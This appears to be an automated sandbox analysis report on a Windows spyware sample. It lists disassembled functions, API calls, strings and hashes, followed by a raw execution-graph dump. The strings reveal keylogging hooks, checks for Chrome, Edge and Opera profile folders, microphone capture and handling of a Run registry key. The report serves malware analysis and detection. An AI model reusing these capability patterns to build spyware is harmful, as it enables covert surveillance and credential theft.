                                                                                                                              • Opcode ID: 2ae7695c40f29ee67dd386e4d97dc8b30bdd8952bcd1bbd735126d4dc73e8781
                                                                                                                              • Instruction ID: f21b004d79e7af0ef9ad63e4b6518ad07bb10e0138b316cec4f8e9f86784bb19
                                                                                                                              • Opcode Fuzzy Hash: 2ae7695c40f29ee67dd386e4d97dc8b30bdd8952bcd1bbd735126d4dc73e8781
                                                                                                                              • Instruction Fuzzy Hash: C6115171A083029AC714FF72D8969BE77A8AF54348F400C3FF546621E2EE3C9949C65A
                                                                                                                              Function 0041AD17 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • PathFileExistsW.SHLWAPI(00000000), ref: 0041AD3C
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: ExistsFilePath
                                                                                                                              • String ID: alarm.wav$hYG
                                                                                                                              • API String ID: 1174141254-2782910960
                                                                                                                              • Opcode ID: a80849807d39b6d885b850496f76bbee22079f6d4cd25328039c8df50d7c6aa3
                                                                                                                              • Instruction ID: 1ebdaa4a32a078914063a8122a991a3a49773bb3edac1861de613ef54c78e1f6
                                                                                                                              • Opcode Fuzzy Hash: a80849807d39b6d885b850496f76bbee22079f6d4cd25328039c8df50d7c6aa3
                                                                                                                              • Instruction Fuzzy Hash: 7A01F5B064460156C604F37698167EE37464B80319F00447FF68A266E2EFBC9D99C68F
                                                                                                                              Function 0040B051 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 0040B164: GetLocalTime.KERNEL32(?,Offline Keylogger Started,004750F0), ref: 0040B172
                                                                                                                                • Part of subcall function 0040B164: wsprintfW.USER32 ref: 0040B1F3
                                                                                                                                • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                                                                                                                              • CloseHandle.KERNEL32(?), ref: 0040B0B4
                                                                                                                              • UnhookWindowsHookEx.USER32 ref: 0040B0C7
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: LocalTime$CloseHandleHookUnhookWindowswsprintf
                                                                                                                              • String ID: Online Keylogger Stopped
                                                                                                                              • API String ID: 1623830855-1496645233
                                                                                                                              • Opcode ID: bcbfeeedac202dcce5c27b8ae7271b8f67804fce0d04219dcea429481c7fcc84
                                                                                                                              • Instruction ID: 2e372e3e3892c4e8816e9c8053feed756abc81e7e35a03d4dadb391bbfa0e77d
                                                                                                                              • Opcode Fuzzy Hash: bcbfeeedac202dcce5c27b8ae7271b8f67804fce0d04219dcea429481c7fcc84
                                                                                                                              • Instruction Fuzzy Hash: 0101F5306002049BD7217B35C80B3BF7BA59B41305F40007FE642226D2EBB91845D7DE
                                                                                                                              Function 00448BB3 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,73E85006,00000001,?,0043CE55), ref: 00448C24
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: String
                                                                                                                              • String ID: LCMapStringEx$PkGNG
                                                                                                                              • API String ID: 2568140703-1065776982
                                                                                                                              • Opcode ID: 6176356b550008225c45ed95f9c308570f022b01c1c57b82113652449518e224
                                                                                                                              • Instruction ID: 91dcaeff4e4508283399e99d6512adb219adb357de156da575c9a111b1dd59a7
                                                                                                                              • Opcode Fuzzy Hash: 6176356b550008225c45ed95f9c308570f022b01c1c57b82113652449518e224
                                                                                                                              • Instruction Fuzzy Hash: 3F016532500209FBCF029F90DC01EEE7F62EF08351F10452AFE0925161CA3A8971AB99
                                                                                                                              Function 004017EC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • waveInPrepareHeader.WINMM(?,00000020,?,?,00476B50,00474EE0,?,00000000,00401A15), ref: 00401849
                                                                                                                              • waveInAddBuffer.WINMM(?,00000020,?,00000000,00401A15), ref: 0040185F
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: wave$BufferHeaderPrepare
                                                                                                                              • String ID: XMG
                                                                                                                              • API String ID: 2315374483-813777761
                                                                                                                              • Opcode ID: db4cc151110a5f9a71eb5ce2d7546914e9eb517e880c4322ad0588f055fadbe6
                                                                                                                              • Instruction ID: 6f1d19605e244f5f119b09d66236675289974365e05be472c2159163c6862827
                                                                                                                              • Opcode Fuzzy Hash: db4cc151110a5f9a71eb5ce2d7546914e9eb517e880c4322ad0588f055fadbe6
                                                                                                                              • Instruction Fuzzy Hash: D3016D71700301AFD7209F75EC48969BBA9FB89355701413AF409D3762EB759C90CBA8
                                                                                                                              Function 00448AE6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • IsValidLocale.KERNEL32(00000000,JD,00000000,00000001,?,?,00444AEA,?,?,004444CA,?,00000004), ref: 00448B32
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: LocaleValid
                                                                                                                              • String ID: IsValidLocaleName$JD
                                                                                                                              • API String ID: 1901932003-2234456777
                                                                                                                              • Opcode ID: 98bf4732c76f9d0cbfb8c103c3b900cf5be1bffc9926f7dc5154a94851103fac
                                                                                                                              • Instruction ID: c43517d2c5aad0833927174c53c021eab8a1ac695cd7bc198788f3b2bcf9e263
                                                                                                                              • Opcode Fuzzy Hash: 98bf4732c76f9d0cbfb8c103c3b900cf5be1bffc9926f7dc5154a94851103fac
                                                                                                                              • Instruction Fuzzy Hash: D6F05230A80308F7DB106B60DC06FAEBF58CB04B52F10017EFD046B291CE786E05929E
                                                                                                                              Function 0040C4C3 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • PathFileExistsW.SHLWAPI(00000000,\AppData\Local\Google\Chrome\,00000000), ref: 0040C4F6
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: ExistsFilePath
                                                                                                                              • String ID: UserProfile$\AppData\Local\Google\Chrome\
                                                                                                                              • API String ID: 1174141254-4188645398
                                                                                                                              • Opcode ID: 7005c2773d118e2c9d7b7987c52ef0ef7a298987e294b58a31e1cd003faf56ca
                                                                                                                              • Instruction ID: 529cceb54bdbac8586af3e6ebd5273a77adcdcd577382419881006e182ae29c8
                                                                                                                              • Opcode Fuzzy Hash: 7005c2773d118e2c9d7b7987c52ef0ef7a298987e294b58a31e1cd003faf56ca
                                                                                                                              • Instruction Fuzzy Hash: 96F05E31A00219A6C604BBF69C478BF7B3C9D50709B50017FBA01B61D3EE789945C6EE
                                                                                                                              Function 0040C526 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • PathFileExistsW.SHLWAPI(00000000,\AppData\Local\Microsoft\Edge\,00000000), ref: 0040C559
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: ExistsFilePath
                                                                                                                              • String ID: UserProfile$\AppData\Local\Microsoft\Edge\
                                                                                                                              • API String ID: 1174141254-2800177040
                                                                                                                              • Opcode ID: ab3f2aba289be1bf0ad3848519e66e4cff6ce689097d1d423b573e143f03c488
                                                                                                                              • Instruction ID: 330371ab8f71d6844e3501a7b0875f3b866c8fe31c1dcac5d822fe972055fe7f
                                                                                                                              • Opcode Fuzzy Hash: ab3f2aba289be1bf0ad3848519e66e4cff6ce689097d1d423b573e143f03c488
                                                                                                                              • Instruction Fuzzy Hash: ECF05E31A00219A6CA14B7B69C47CEF7B6C9D50705B10017FB602B61D2EE78994186EE
                                                                                                                              Function 0040C589 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • PathFileExistsW.SHLWAPI(00000000,\Opera Software\Opera Stable\,00000000), ref: 0040C5BC
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: ExistsFilePath
                                                                                                                              • String ID: AppData$\Opera Software\Opera Stable\
                                                                                                                              • API String ID: 1174141254-1629609700
                                                                                                                              • Opcode ID: ab88a7dc1cafb0835d30463df654517a200d7fa6beafa267c9165c8e72f76c47
                                                                                                                              • Instruction ID: 49b076bb86b4c8db4da1bdedad10e463925805c403c57d636a3174f469f12df7
                                                                                                                              • Opcode Fuzzy Hash: ab88a7dc1cafb0835d30463df654517a200d7fa6beafa267c9165c8e72f76c47
                                                                                                                              • Instruction Fuzzy Hash: 13F05E31A00319A6CA14B7B69C47CEF7B7C9D10709B40017BB601B61D2EE789D4586EA
                                                                                                                              Function 0040B646 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 32keyboardCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • GetKeyState.USER32(00000011), ref: 0040B64B
                                                                                                                                • Part of subcall function 0040A3E0: GetForegroundWindow.USER32 ref: 0040A416
                                                                                                                                • Part of subcall function 0040A3E0: GetWindowThreadProcessId.USER32(00000000,?), ref: 0040A422
                                                                                                                                • Part of subcall function 0040A3E0: GetKeyboardLayout.USER32(00000000), ref: 0040A429
                                                                                                                                • Part of subcall function 0040A3E0: GetKeyState.USER32(00000010), ref: 0040A433
                                                                                                                                • Part of subcall function 0040A3E0: GetKeyboardState.USER32(?), ref: 0040A43E
                                                                                                                                • Part of subcall function 0040A3E0: ToUnicodeEx.USER32(?,?,?,?,00000010,00000000,00000000), ref: 0040A461
                                                                                                                                • Part of subcall function 0040A3E0: ToUnicodeEx.USER32(?,?,00000010,00000000,00000000), ref: 0040A4C1
                                                                                                                                • Part of subcall function 0040A636: SetEvent.KERNEL32(?,?,00000000,0040B20A,00000000), ref: 0040A662
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: State$KeyboardUnicodeWindow$EventForegroundLayoutProcessThread
                                                                                                                              • String ID: [AltL]$[AltR]
                                                                                                                              • API String ID: 2738857842-2658077756
                                                                                                                              • Opcode ID: 7258a7f4b132cbc40b361f8d5efa273a6a49595113cd8e0a5555153196a7725b
                                                                                                                              • Instruction ID: e48b288e44f9d4c6b211653e2fe3bcc76c2b66b59b43e84e4aaf588e4500f4a3
                                                                                                                              • Opcode Fuzzy Hash: 7258a7f4b132cbc40b361f8d5efa273a6a49595113cd8e0a5555153196a7725b
                                                                                                                              • Instruction Fuzzy Hash: 3BE0652134021052C828323E592F6BE2D51C742754B86057FF9826B6C5DABF4D1542CF
                                                                                                                              Function 0044ECEC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • GetOEMCP.KERNEL32(00000000,?,?,0044EF75,?), ref: 0044ED17
                                                                                                                              • GetACP.KERNEL32(00000000,?,?,0044EF75,?), ref: 0044ED2E
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID: uD
                                                                                                                              • API String ID: 0-2547262877
                                                                                                                              • Opcode ID: b77d3b663c6aed767531e5de151c2f7480185761a2f62c70c64f4560ad89233a
                                                                                                                              • Instruction ID: 19c10458df6b4aed5d20bc802b22671fd2b069e30d3a1616a3713fc20edc201d
                                                                                                                              • Opcode Fuzzy Hash: b77d3b663c6aed767531e5de151c2f7480185761a2f62c70c64f4560ad89233a
                                                                                                                              • Instruction Fuzzy Hash: A5F0C871800105CBEB20DB55DC897697771BF11335F144755E4394A6E2C7B98C81CF49
                                                                                                                              Function 00448957 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30timeCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • GetSystemTimeAsFileTime.KERNEL32(00000000,0043AAB7), ref: 00448996
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: Time$FileSystem
                                                                                                                              • String ID: GetSystemTimePreciseAsFileTime$PkGNG
                                                                                                                              • API String ID: 2086374402-949981407
                                                                                                                              • Opcode ID: 14ade04f60bc73be69f0a8e2d41fd66075f217d790f0afe8d3aaf6a6c36f91f3
                                                                                                                              • Instruction ID: 0ece642104574987c61f359f6ab52f67772cb5eafdc88f944851b8b866d171c2
                                                                                                                              • Opcode Fuzzy Hash: 14ade04f60bc73be69f0a8e2d41fd66075f217d790f0afe8d3aaf6a6c36f91f3
                                                                                                                              • Instruction Fuzzy Hash: 55E0E571A41718E7D710AB259C02E7EBB54DB44B02B10027EFC0957382DE285D0496DE
                                                                                                                              Function 0041618A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000000), ref: 004161A8
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: ExecuteShell
                                                                                                                              • String ID: !D@$open
                                                                                                                              • API String ID: 587946157-1586967515
                                                                                                                              • Opcode ID: a3fafa264baa1d62442d83e0179a885528cd25db469b1c0675910708919d2975
                                                                                                                              • Instruction ID: 73504a7432a82bf20c2cd712858cac99996ed9f8eaf32da6c0f13d1c3fa6c831
                                                                                                                              • Opcode Fuzzy Hash: a3fafa264baa1d62442d83e0179a885528cd25db469b1c0675910708919d2975
                                                                                                                              • Instruction Fuzzy Hash: 2FE0ED712483059AD614EA72DC91AFE7358AB54755F40083FF506514E2EE3C5849C65A
                                                                                                                              Function 0045554B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • ___initconout.LIBCMT ref: 0045555B
                                                                                                                                • Part of subcall function 00456B1D: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00455560,00000000,PkGNG,0044B59D,?,FF8BC35D,00000000,?,00000000), ref: 00456B30
                                                                                                                              • WriteConsoleW.KERNEL32(FFFFFFFE,FF8BC369,00000001,00000000,00000000,00000000,PkGNG,0044B59D,?,FF8BC35D,00000000,?,00000000,PkGNG,0044BB19,?), ref: 0045557E
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: ConsoleCreateFileWrite___initconout
                                                                                                                              • String ID: PkGNG
                                                                                                                              • API String ID: 3087715906-263838557
                                                                                                                              • Opcode ID: 4fd586c33a7e536def3848490aff3c82696797501ee569242fdde9145b290049
                                                                                                                              • Instruction ID: e84ccb038854987deafcb7b601af55b429ad8f27f18c1f17be9b2782bd97289a
                                                                                                                              • Opcode Fuzzy Hash: 4fd586c33a7e536def3848490aff3c82696797501ee569242fdde9145b290049
                                                                                                                              • Instruction Fuzzy Hash: 10E02B70500508BBD610CB64DC25EB63319EB003B1F600315FE25C72D1EB34DD44C759
                                                                                                                              Function 0040B6A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24keyboardCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • GetKeyState.USER32(00000012), ref: 0040B6A5
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: State
                                                                                                                              • String ID: [CtrlL]$[CtrlR]
                                                                                                                              • API String ID: 1649606143-2446555240
                                                                                                                              • Opcode ID: 9c7a87a125a36fd6875230b5c06d2f1de547b3d92bb8a42f9d283a23a60e093e
                                                                                                                              • Instruction ID: bec5627f59812d2efb235ad4bfa8f6d19d2d97b3e0140e65676d9d4505e8418d
                                                                                                                              • Opcode Fuzzy Hash: 9c7a87a125a36fd6875230b5c06d2f1de547b3d92bb8a42f9d283a23a60e093e
                                                                                                                              • Instruction Fuzzy Hash: 6FE04F2160021052C524363D5A1E67D2911CB52754B42096FF882A76CADEBF891543CF
                                                                                                                              Function 0040E79F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 23COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 00434770: __onexit.LIBCMT ref: 00434776
                                                                                                                              • __Init_thread_footer.LIBCMT ref: 00410F29
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: Init_thread_footer__onexit
                                                                                                                              • String ID: ,kG$0kG
                                                                                                                              • API String ID: 1881088180-2015055088
                                                                                                                              • Opcode ID: b05ab0c9b3baa3f524da702d8fc1cd1898caf97046da089980d037e9e657a158
                                                                                                                              • Instruction ID: c595ded0a674a2b9ccc74dbc71d20adb946c68f5a758ea4f5ad5526f3cc50642
                                                                                                                              • Opcode Fuzzy Hash: b05ab0c9b3baa3f524da702d8fc1cd1898caf97046da089980d037e9e657a158
                                                                                                                              • Instruction Fuzzy Hash: 35E0D8312149208EC214A32995829C93791DB4E335B61412BF414D72D5CBAEB8C1CA1D
                                                                                                                              Function 00413A23 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23registryCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • RegOpenKeyExW.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\,00000000,00000002,?,80000002,80000002,0040D4CE,00000000,?,00000000), ref: 00413A31
                                                                                                                              • RegDeleteValueW.ADVAPI32(?,?,?,00000000), ref: 00413A45
                                                                                                                              Strings
                                                                                                                              • Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\, xrefs: 00413A2F
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: DeleteOpenValue
                                                                                                                              • String ID: Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\
                                                                                                                              • API String ID: 2654517830-1051519024
                                                                                                                              • Opcode ID: 37389d7ee51bec1c2129a7b253fd7a72f11d6a1cc032b6ab4e225ceb9c6d243b
                                                                                                                              • Instruction ID: 6fb421a43559def270d35797bbb86f7c8bc210cd52a17bc53693ea6618a40a87
                                                                                                                              • Opcode Fuzzy Hash: 37389d7ee51bec1c2129a7b253fd7a72f11d6a1cc032b6ab4e225ceb9c6d243b
                                                                                                                              • Instruction Fuzzy Hash: 99E0C23124420CFBDF104F71DD06FFA376CDB01F42F1006A5BA0692091C626DF049668
                                                                                                                              Function 00440C91 Relevance: 5.1, APIs: 4, Instructions: 139COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • MultiByteToWideChar.KERNEL32(?,00000009,?,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000,00401D55), ref: 00440D27
                                                                                                                              • GetLastError.KERNEL32 ref: 00440D35
                                                                                                                              • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00440D90
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: ByteCharMultiWide$ErrorLast
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1717984340-0
                                                                                                                              • Opcode ID: a909a75f279edaa9992fcfd87f44a9f238bfc46e7277e37c8624290a99980dba
                                                                                                                              • Instruction ID: f204e272a103731937cf510deb2d9f687334ef06d731906aa630a644c7418207
                                                                                                                              • Opcode Fuzzy Hash: a909a75f279edaa9992fcfd87f44a9f238bfc46e7277e37c8624290a99980dba
                                                                                                                              • Instruction Fuzzy Hash: BA411871A00206EFEF218FA5C8447AB7BA5EF45310F10816BFA549B3A1DB38AD25C759
                                                                                                                              Function 00411B5F Relevance: 5.1, APIs: 4, Instructions: 119COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • IsBadReadPtr.KERNEL32(?,00000014), ref: 00411B8C
                                                                                                                              • IsBadReadPtr.KERNEL32(?,00000014), ref: 00411C58
                                                                                                                              • SetLastError.KERNEL32(0000007F), ref: 00411C7A
                                                                                                                              • SetLastError.KERNEL32(0000007E,00411EF0), ref: 00411C91
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000002.00000002.1730980187.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_2_2_400000_rSOD219ISF-____.jbxd
                                                                                                                              Yara matches
                                                                                                                              Similarity
                                                                                                                              • API ID: ErrorLastRead
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 4100373531-0
                                                                                                                              • Opcode ID: 46f42941f51e653cdae40cd00269a703bf4e12df5cc4a1911c605fdb7767d4e6
                                                                                                                              • Instruction ID: 277f4bdee2933866d2d1c697a3b04f0a6a13197b354a533a519a822f1f8833ca
                                                                                                                              • Opcode Fuzzy Hash: 46f42941f51e653cdae40cd00269a703bf4e12df5cc4a1911c605fdb7767d4e6
                                                                                                                              • Instruction Fuzzy Hash: 37419C75244305DFE7248F18DC84BA7B3E8FB48711F00082EEA8A87661F739E845CB99

                                                                                                                              Execution Graph

                                                                                                                              Execution Coverage:9.8%
                                                                                                                              Dynamic/Decrypted Code Coverage:100%
                                                                                                                              Signature Coverage:0%
                                                                                                                              Total number of Nodes:275
                                                                                                                              Total number of Limit Nodes:20
                                                                                                                              execution_graph 56800 7cc50ee 56801 7cc511e 56800->56801 56802 7cc51b5 56801->56802 56807 7cc5a0e 56801->56807 56824 7cc5961 56801->56824 56841 7cc59b0 56801->56841 56857 7cc59a0 56801->56857 56808 7cc599c 56807->56808 56809 7cc5a11 56807->56809 56810 7cc59ee 56808->56810 56873 7cc5f48 56808->56873 56878 7cc5dd2 56808->56878 56883 7cc65b1 56808->56883 56888 7cc6140 56808->56888 56892 7cc5fc0 56808->56892 56899 7cc6467 56808->56899 56904 7cc5ea6 56808->56904 56909 7cc6426 56808->56909 56914 7cc6726 56808->56914 56918 7cc61c4 56808->56918 56926 7cc652b 56808->56926 56930 7cc682b 56808->56930 56935 7cc6849 56808->56935 56809->56802 56810->56802 56825 7cc59b9 56824->56825 56826 7cc596a 56824->56826 56827 7cc5f48 2 API calls 56825->56827 56828 7cc6849 2 API calls 56825->56828 56829 7cc682b 2 API calls 56825->56829 56830 7cc652b 2 API calls 56825->56830 56831 7cc61c4 4 API calls 56825->56831 56832 7cc59ee 56825->56832 56833 7cc6726 2 API calls 56825->56833 56834 7cc6426 2 API calls 56825->56834 56835 7cc5ea6 2 API calls 56825->56835 56836 7cc6467 2 API calls 56825->56836 56837 7cc5fc0 4 API calls 56825->56837 56838 7cc6140 2 API calls 56825->56838 56839 7cc65b1 2 API calls 56825->56839 56840 7cc5dd2 2 API calls 56825->56840 56826->56802 56827->56832 56828->56832 56829->56832 56830->56832 56831->56832 56832->56802 56833->56832 56834->56832 56835->56832 56836->56832 56837->56832 56838->56832 56839->56832 56840->56832 56842 7cc59ca 56841->56842 56843 7cc59ee 56842->56843 56844 7cc5f48 2 API calls 56842->56844 56845 7cc6849 2 API calls 56842->56845 56846 7cc682b 2 API calls 56842->56846 56847 7cc652b 2 API calls 56842->56847 56848 7cc61c4 4 API calls 56842->56848 56849 7cc6726 2 API calls 56842->56849 56850 7cc6426 2 API calls 56842->56850 56851 7cc5ea6 2 API calls 56842->56851 56852 7cc6467 2 API calls 56842->56852 56853 7cc5fc0 4 API calls 56842->56853 56854 7cc6140 2 API calls 56842->56854 56855 7cc65b1 2 API calls 56842->56855 56856 7cc5dd2 2 API calls 56842->56856 56843->56802 56844->56843 56845->56843 56846->56843 56847->56843 56848->56843 56849->56843 56850->56843 56851->56843 56852->56843 56853->56843 56854->56843 56855->56843 56856->56843 56858 7cc59b0 56857->56858 56859 7cc5f48 2 API calls 56858->56859 56860 7cc6849 2 API calls 56858->56860 56861 7cc682b 2 API calls 56858->56861 56862 7cc652b 2 API calls 56858->56862 56863 7cc61c4 4 API calls 56858->56863 56864 7cc59ee 56858->56864 56865 7cc6726 2 API calls 56858->56865 56866 7cc6426 2 API calls 56858->56866 56867 7cc5ea6 2 API calls 56858->56867 56868 7cc6467 2 API calls 